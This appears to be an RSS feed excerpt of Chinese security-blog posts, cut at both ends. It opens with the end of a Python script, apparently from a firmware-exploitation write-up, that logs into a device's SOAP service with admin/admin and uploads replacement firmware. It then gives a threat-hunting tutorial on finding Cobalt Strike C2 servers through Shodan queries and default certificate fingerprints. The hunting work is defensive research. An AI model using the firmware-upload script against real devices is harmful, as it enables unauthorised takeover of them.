121);">b&#39;&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">b&#39;&lt;s:Body&gt;\r\n&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">b&#39;&lt;NewFirmware&gt;%s&#39;</span>%(base64.b64encode(firmData))<br/>    body += <span style="color: rgb(152, 195, 121);">b&#39;&lt;/NewFirmware&gt;&#39;</span><br/>    body += <span style="color: rgb(152, 195, 121);">b&#39;&lt;/s:Body&gt;\r\n&#39;</span><br/>    <br/>    respn = requests.post(url=URL, headers=header, data=body)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(respn.text)<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    cookie = SOAPLogin(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>    SetFirmware(cookie)</code></pre><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">小结</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  先了解一个程序的服务架构方便定位其易出问题的地方</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">参考</h1><ul style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">No Hardware, No Problem: Emulation and Exploitation (grimm-co.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Index of /~aurel32/qemu/armhf (debian.org)</span></p></li></ul><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485892">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e4b7ee0a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247485892%26idx%3D1%26sn%3Dba9891fbfd63ffb60fffd873c7753503%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Apr 2023 11:49:00 +0800</pubDate>
    </item>
    <item>
      <title>手把手带你用空间测绘引擎Hunting C2</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247485875&amp;idx=1&amp;sn=5715df6f854dcebb78177cc16bdadda3</link>
      <description>手把手带你使用测绘引擎Hunting C2</description>
      <content:encoded><![CDATA[<p>
原创 <span>zitui</span> <span>2023-04-06 18:04</span> <span style="display: inline-block;">北京</span>
</p>

<p>手把手带你使用测绘引擎Hunting C2</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=11cad811&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFUB4vj0iav8Ss1Fq0dTFQwKX5jMk4ZqMbKDfJu4qlUYeaX8EktqDnUyg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin-right: auto;margin-bottom: 1em;margin-left: auto;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">手把手带你用空间测绘引擎Hunting C2</h1><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">前言</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  笔者最近工作接触到了情报方面，觉得蛮有意思的，就尝试通过空间测绘引擎来Hunting一些C2生产情报，觉得这个流程蛮有意思，开个新坑手把手带你情报入门。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0510204081632653" data-s="300,640" style="" data-type="png" data-w="98" src="https://wechat2rss.xlab.app/img-proxy/?k=7c256b97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFDs8pNH3g0Jggla0RAohjh55H6qXBRPKQrWYCLjqXXicYwUuZ0gNKicfw%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">什么是情报</h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9288702928870293" data-s="300,640" style="" data-type="png" data-w="239" src="https://wechat2rss.xlab.app/img-proxy/?k=644610e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFRUR10IXMZQPCCiaeB12o49ol2tONYLoonjXicQBaibONlwKuJ12WCO1Og%2F640%3Fwx_fmt%3Dpng"/></p><blockquote style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;color: rgba(0, 0, 0, 0.5);background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);"><span style="font-size: 1em;letter-spacing: 0.1em;">威胁情报（Threat Intelligence）是指收集、分析和利用关于各种安全威胁的数据和信息的过程，以帮助组织识别和应对安全威胁。</span><span style="font-size: 1em;letter-spacing: 0.1em;">威胁情报可以来自多个来源，包括公共情报、私人情报、开源情报以及企业内部情报</span></p></blockquote><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  本章中我们可以通过Hunting C2来对捕获到的IP进行一个<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">C2</code>标签的加，这样该IP就可以作为一个恶意IP进入到我们的情报库中。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  此外对于某些集中攻击、流量特征明显或者针对具体行业的攻击者还可以具象化为一个家族或者团伙，以Cobalt Strike为例，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Ryuk</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Conti</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">Egregor</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">DoppelPaymer</code>等几种勒索软件已经开始使用Cobalt Strike来加速其<strong style="line-height: 1.75;color: rgb(255, 118, 118);">勒索软件</strong>部署。根据思科的报告显示，66%的勒索软件攻击涉及Cobalt Strike。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">准备工作</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Hunting C2最重要的工作就是调研一下C2服务器或者行为的一些特征，就像出去钓鱼，不同的鱼生活的环境、季节、水质情况等条件都要明确。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">还是以Cobalt Strike为例，这里给出几种常见的Hunting CS服务器时关注的点：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Cobalt Strike Beacon<br/>SSL证书和序列号<br/>默认404未找到响应<br/>默认端口50050和Banner Hash<br/>默认SSH客户端Hash<br/>JA3指纹、JA3S指纹和JARM TLS指纹<br/>网站的HTML Hash<br/>读懂C2</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">由于笔者妹有Fofa账号（Big 穷逼一个），所以本文以shadon和Quake为例</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.9183673469387755" data-s="300,640" style="" data-type="png" data-w="196" src="https://wechat2rss.xlab.app/img-proxy/?k=d1b9d6f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFiaFVFYIsys45U0vgqyty1QalWQ5ZPgqrsmvq7zOyUUxLCfBmX8uL0yQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">开始Hunting</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Cobalt Strike Beacon</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Shodan已经将“Cobal Strike Beacon”添加到了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"> Shodan Product</code>字段的值列表中，所以可以直接通过语法<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">product:&#34;Cobalt Strike Beacon&#34;</code></p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4787037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=178cc98f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFE7ibr9mIor7kI7EC74UqxrHIOq3me8mVp8n7FwibLSEpLBMDAEvBian3A%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  笔者在写文章时能够Hunting到的CS服务器有1200+，其中中国和美国以及中国香港行政区是出现C2服务器最多的三个地方</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8041237113402062" data-s="300,640" style="" data-type="png" data-w="388" src="https://wechat2rss.xlab.app/img-proxy/?k=12463716&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFm3Dh098q3wbxIblA7NVP8ynr3Xw9OdxzvzAdczlUdRFMXU1ybicYjow%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span style="text-decoration:line-through;">（小声BB：它们的默认页面返回都是404 Not Found哦）</span></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">80</code>、<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">443</code> 和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">8443</code>是出现次数TOP3的端口</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  除此之外还可以看到在世界各地托管Cobalt Strike服务器的主要ISP是谁，腾讯和阿里巴巴真是一路领先</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这种非常精确的特定搜索将用于在一些技术中确定CS服务器的独特属性</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">SSL证书和序列号</h3><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Cobalt Strike本身是附带用于HTTPS通信的默认SSL证书的，所以可以通过Hunting SSL证书的值来搜索CS服务器。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">默认证书: <br/>md5:950098276A495286EB2A2556FBAB6D83<br/>sha1:6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C<br/>sha256:87F2085C32B6A2CC709B365F55873E207A9CAA10BFFECF2FD16D3CF9D94D390C<br/>默认序列号:ssl.cert.serial:146473198</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">所以可以使用 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ssl:&#34;6ECE5ECE4192683D2D84E25B0BA7E04F9CB7EB7C&#34;</code> 或者</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ssl.cert.serial:&#34;146473198&#34;</code></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进行查询</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4759259259259259" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d7de3bda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFpXCuXq3hYHwliaibsZgFzCTLfRNpFwX8Ow5JIJb1OWgDFV6Yw2beBYRQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.48055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ece76780&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFhHr7QsjHGpa7MD4k10DnmXF4yHjQx6C5Q14IJdnyiceVH1QqiaTH2fQA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  发现了吗，通过SHA1和通过Cert号搜索的结果是相同的，这是因为这两个字段链接在一起。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  我们还可以加上之前的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">product</code>字段查看CS出现的cert指纹形式</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7703703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=68a3be1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkZhoa4jMu3MWrtsSwf1nkqFEyH7HwWkZnLBVVw9NAibAibx7t09LBHw9Dwka25GY9DEgqobqEnF2leQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  大多数都是使用的默认证书，SSL 指纹是唯一的并且与Cobalt Strike特别相关，但是默认证书可以替换为有效的 SSL 证书，或者可以使用 Malleable C2 配置文件更改其参数（上面有一些不一样的cert就可以看出这一点）,除此之外还有不同的序列号：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica 